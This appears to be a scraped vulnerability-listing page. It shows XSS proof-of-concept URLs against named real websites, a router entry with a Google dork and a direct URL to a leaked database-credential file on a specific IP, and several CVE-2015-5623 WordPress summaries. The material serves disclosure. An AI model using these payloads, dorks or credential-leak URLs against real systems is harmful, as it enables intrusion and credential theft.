30-day-change.com XSS vulnerability

Vulnerable URL: http://www.30-day-change.com/?p=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 24.03.2016 Latest check for patch:| 24.03.2016 01:27 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3527 Google...

shareasale.com XSS vulnerability

Vulnerable URL: http://shareasale.com/?redirect=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 17.03.2016 Latest check for patch:| 17.03.2016 01:37 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 683 Google...

birminghamnightout.com XSS vulnerability

Vulnerable URL: http://www.birminghamnightout.com/mnodata/event.php?user=l-best" Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 17:21 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 12453825 Google Pagerank| ...

nightoutgrandforks.com XSS vulnerability

Vulnerable URL: http://www.nightoutgrandforks.com/mnodata/event.php?user=l-best%22%3E%3Cimg%20src=x%20onerror=prompt%28%27XSSPOSED%27%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 17:21 GMT Vulnerability type:| XSS Vulnerability status:...

agrowon.com XSS vulnerability

Vulnerable URL: http://www.agrowon.com/Agrowon/SearchNews.aspx?tag=%22%20onmouseover%3dprompt%28/xssposed/%29%20rk%3d%22 Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 16:42 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclose...

socialist.com XSS vulnerability

Vulnerable URL: http://www.socialist.com/?notfound=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 22.02.2016 Latest check for patch:| 22.02.2016 12:57 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown /...

worldfaith.org XSS vulnerability

Vulnerable URL: http://worldfaith.org/wiki/thumb.php?f=xssposed%23%3Cbody%09onload=confirm%28String.fromCharCode%2888,83,83,80,79,83,69,68%29%29%3E Details: Description| Value ---|--- Patched:| Yes, at 07.03.2016 Latest check for patch:| 07.03.2016 01:35 GMT Vulnerability type:| XSS Vulnerability...

sandbox.medphyswiki.aapm.org XSS vulnerability

Vulnerable URL: http://sandbox.medphyswiki.aapm.org/thumb.php?f=xssposed%23%3Cbody%09onload=confirm%28String.fromCharCode%2888,83,83,80,79,83,69,68%29%29%3E Details: Description| Value ---|--- Patched:| Yes, at 12.03.2016 Latest check for patch:| 12.03.2016 01:37 GMT Vulnerability type:| XSS...

urbanjungle.uk.com XSS vulnerability

Vulnerable URL: http://urbanjungle.uk.com/error.asp?msg=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 16:21 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 95111...

charlotteobserver.com XSS vulnerability

Vulnerable URL: http://www.charlotteobserver.com/search/?q=%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at 21.03.2016 Latest check for patch:| 21.03.2016 12:22 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

paviansystems.com XSS vulnerability

Vulnerable URL: http://paviansystems.com/pavianresponsivephp/mobservicesswcontent.php?callback=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 16:10 GMT Vulnerability type:| XSS Vulnerability status...

The vulnerability of the Android operating system, which allows a hacker to intercept or simulate SIM STK commands

The vulnerability of the SIM Toolkit component in the Android operating system is related to deficiencies in access control for files. Exploiting this vulnerability allows a malicious actor, operating remotely, to intercept or simulate SIM STK commands using a specially crafted application...

Gryffin - Large Scale Web Security Scanning Platform

Gryffin is a large scale web security scanning platform. It is not yet another scanner. It was written to solve two specific problems with existing scanners: coverage and scale. Better coverage translates to fewer false negatives. Inherent scalability translates to capability of scanning, and...

Raonet Subscriber Ethernet Router MySQL 数据库账户密码泄露

Raonet SER-500 路由器 MySQL 账户密码泄漏, 可远程登录, 高权限. 验证地址: http://61.77.63.86/inc/conndb.inc Google dork: intitle:Raonet Subscriber Ethernet Router !/usr/bin/env python import urlparse import re import urllib2 def assignservice, arg: if service != "www": return arr = urlparse.urlparsearg return True,...

Wordpress4. 2. 3. rights and SQL injection vulnerabilities(CVE-2 0 1 5-5 6 2 3)analysis-vulnerability warning-the black bar safety net

First, explain the background. wordpress user permissions are divided into subscribers, contributors, authors, editors and administrators. Permission the lowest is the Subscriber, the Subscriber only Subscribe to the articles of permissions, wordpress open registration the default registration of...

DEBIAN-CVE-2015-5623

WordPress before 4.2.3 does not properly verify the editposts capability, which allows remote authenticated users to bypass intended access restrictions and create drafts by leveraging the Subscriber role, as demonstrated by a post-quickdraft-save action to wp-admin/post.php...

CVE-2015-5623

WordPress before 4.2.3 does not properly verify the editposts capability, which allows remote authenticated users to bypass intended access restrictions and create drafts by leveraging the Subscriber role, as demonstrated by a post-quickdraft-save action to wp-admin/post.php...

CVE-2015-5623

WordPress before 4.2.3 does not properly verify the editposts capability, which allows remote authenticated users to bypass intended access restrictions and create drafts by leveraging the Subscriber role, as demonstrated by a post-quickdraft-save action to wp-admin/post.php...

CVE-2015-5623

WordPress before 4.2.3 does not properly verify the editposts capability, which allows remote authenticated users to bypass intended access restrictions and create drafts by leveraging the Subscriber role, as demonstrated by a post-quickdraft-save action to wp-admin/post.php...

CVE-2015-5623

CVE-2015-5623 affects WordPress prior to 4.2.3, where edit_posts capability was not properly verified. This allowed remote authenticated users (Subscriber) to bypass restrictions and create drafts via Quick Draft (wp-admin/post.php). Root cause: inadequate capability check. Impact: privilege esca...